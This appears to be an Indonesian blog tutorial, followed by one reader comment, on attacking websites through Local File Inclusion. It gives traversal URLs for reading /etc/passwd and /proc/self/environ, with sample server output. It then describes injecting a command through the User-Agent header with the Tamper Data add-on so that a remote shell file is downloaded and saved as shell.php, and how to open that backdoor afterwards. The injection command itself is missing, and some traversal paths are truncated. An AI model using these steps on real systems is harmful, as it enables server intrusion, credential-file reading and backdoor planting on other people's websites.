Hacking dengan LFI (Local File Inclusion)

LFI (Local File Inclusion) adalah sebuah lubang pada site dimana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.

Ok kita langsung saja..yang mau saya share di sini ialah tutorial atau cara mengupload shell dari target LFI dengan Tamper Data.

########################################

fucking the Web Apps [LFI attack edition]

-=[ upload Shell via Target LFI dengan Tamper Data ]=-

1 - Pendahuluan2 - Mencari Target LFI3 - Memeriksa apakah proc / self / environ dapat diakses4 - Mengupload code shell injection5 - Akses shell or backdoor kita

=[1]= Pendahuluan

Dalam tutorial ini saya akan coba menunjukkan bagaimana Mencari atau mendapatkan target LFI , setelah itu bagai bagaimana kita memanfaatkan target tersebut dan mengupload shell injection (backdoor) ke dalam nya.

=[2]= Mencari Target LFI=> Sekarang saya akan coba memberikan sample atau contoh bagaimana cara menemukan target LFI , lets check it.example: http://www.target.com/index.php?page=blablabla

=> sekarang kita coba mengganti file setelah ?page= (blablabla) dengan ../example: http://www.target.com/index.php?page=..%2F

Jika kita mendapatkan pesan error seperti ini:Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1330

website or target tersebut kemungkinan besar can be attack with LFI ;)

untuk memastikan nya kita masuk ke step berikut nya yaitu mencoba meng access file /etc/passwd , for this step Lets make a request:

example: http://www.target.com/index.php?page=..%2F...etc%2Fpasswd

jika kita masih mendapat kan pesan error yg sama seperti di atas , berarti kita perlu or coba menambahkan beberapa directory (../../) lagi sampai pesan error hilang dan kita success meng access or menampilkan isi dari file /etc/passwd

contoh klw success akan muncul seperti ini: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

=[3]=Memeriksa apakah proc/self/environ dapat diakses

sekarang mari kita periksa atau check apakah proc/self/environ dapat di access dengan cara mengganti /etc/passwd dengan proc/self/environ

contoh: http://www.target.com/index.php?page=..%2F...etc%2Fpasswd <= change etc/passwd with proc/self/environ

it will be like this: http://www.target.com/index.php?page=..%2F...lf%2Fenviron

jika success atau proc/self/environ dapat di access , maka kita akan mendapat pesan seperti berikut:

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.website.com/ Port 80

jika gagal atau blank atau error berarti proc/self/environ tidak dapat di access

NB: kemungkinan lain yg menyebab kan proc/self/environ tidak dapat di access ialah web or target kita menggunakan OS (operating system) FreeBSD

=[4]= Mengupload code shell injection (backdoor)

Di step ini kita akan mencoba mengupload shell injection (backdoor) kita ke dalam target yg tadi atau target yg proc/self/environ dapat di access.Bagaimana caranya ?Di sinilah peran Tamper data di perlukan.Apa itu Tamper Data ?

NB: Tamper data ialah salah satu Add-ons pada browser mozila yg dapat kita gunakan untuk mengganti user agent atau HTTP Header.

Bagaimana cara menggunakan nya ?Download dan install terlebih dahulu Tamper Data pada Add-ons mozila anda download here => https://addons.mozilla.org/en-US/firefox/addon/966

setelah tamper data di install , buka tamper data dan pada User-Agent masukan command code sebagai berikut:

NB: link injection nya dapat anda ganti dengan link injection anda sendiri jika anda punya atau tidak ingin memakai injection tersebut :)

command code tersebut akan men-download file shell.txt dan otomatis tersimpan dengan nama shell.php.jika tidak bekerja coba exec () karena sistem () dapat dinonaktifkan pada webserver dari php.ini

=[5]= Check or Akses shell backdoor kita

Sekarang mari kita periksa apakah script shell (backdoor) kita berhasil atau tersedia pada web target tadi dengan cara membuka:

www.target.com/shell.php

Jika success maka kita akan melihat tampilan backdoor shell kita ;)

just 4 sharing :)


by biLLbud

1 comments :

Giri Ayoga

October 23, 2011 at 12:57 AM
Permalink this comment

1

said...

suwun mas pencerahannya

Post a Comment